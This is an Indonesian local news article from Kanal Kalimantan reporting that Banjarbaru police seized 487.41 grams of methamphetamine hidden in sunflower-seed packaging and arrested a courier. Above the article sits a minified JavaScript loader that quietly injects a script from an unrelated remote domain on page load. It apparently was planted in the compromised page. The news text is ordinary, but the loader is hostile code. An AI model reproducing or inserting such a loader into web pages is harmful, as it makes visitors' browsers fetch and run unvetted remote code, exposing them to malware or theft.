(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

487,41 Gram Sabu dalam Kemasan Kwaci Diamankan Satresnarkoba Polres Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Sat Resnarkoba Polres Banjarbaru berhasil mengamankan pengedar narkotika jenis sabu dengan berat 487,41 gram terbungkus kemasan kuaci.

Kapolres Banjarbaru AKBP Nur Khamid mengatakan, temuan ini berawal dari laporan masyarakat kemudian dilakukan penyidikan. Sehingga pada Senin (18/10/2021), berhasil mengaman HE di depan rumah makan siap saji di Jalan Golf Landasan Ulin.

“Ini merupakan temuan terbesar kedua Satresnarkoba Polres Banjarbaru, pada bulan Maret berhasil mengungkap 24 kilogram narkoba dan dibulan Oktober 4 ons 87, 41 gram,” ungkapnya, Senin (25/10/2021).

 

 

Baca juga: Tak Kuat Nanjak, Truk Fuso Mundur Kena Agya dan Scoopy, Pemotor Tewas

Polres Banjarbaru mengamankan tersangka pengedar narkoba jenis sabu. Foto: ibnu/kanalkalimantan

AKBP Nur Khamid menambahkan, tersangka merupakan penjaga gudang sebagai penerima barang dengan sistem cara menunggu di pinggir jalan kemudian menerima dan disimpan. Dalam pengedarannya tersangka menunggu instruksi dari atasan.

Diungkap Kapolres, kalau jaringan ini merupakan jaringan Malaysia, Samarinda, dan Banjarmasin. Dengan diungkapkannya narkoba sebanyak 487, 41 gram kalau diestimasikan harganya mencapai Rp779 juta dan berhasil menyelamatkan 1.949 jiwa.

“Jajaran Satresnarkoba Polres Banjarbaru akan terus melakukan pengejaran mengenai kasus ini,” ungkapnya.

Baca juga: Jadi Syarat Penerbangan, YLKI: Turunkan Harga Tes PCR hingga Rp200 Ribuan!

Kapolres menghimbau kepada seluruh masyarakat apabila ada temuan mengenai pengedaran narkoba untuk segera dilaporkan ke Polres Banjarbaru.

Sementara itu HE mengatakan menerima upah tergantung dari barang yang dia bawa dengan estimasi paling sedikit Rp2 juta.

Saya mengenal dengan atasan berteman di tempat tongkrongan dan baru saja melakukan ini di Banjarbaru,” dalihnya.

Polres Banjarbaru kembali mengamankan tersangka pengedar narkoba jenis sabu.  Foto: ibnu/kanalkalimantan

Baca juga: PAUD Omah Kepompong, Sekolah Anak Bertajuk Outdoor di Banjarbaru

HE terancam pasal 114 ayat 2 dengan hukuman pidana mati, pidana seumur hidup, dan pidana penjara paling singkat 6 tahun, kedua Pasal 112 ayat 2 dengan ancaman hukuman penjara seumur hidup paling singkat 5 tahun dan paling lama 20 tahun. (Kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: cell


Risa

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

13 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

13 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

13 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

13 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

14 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

14 jam ago

This website uses cookies.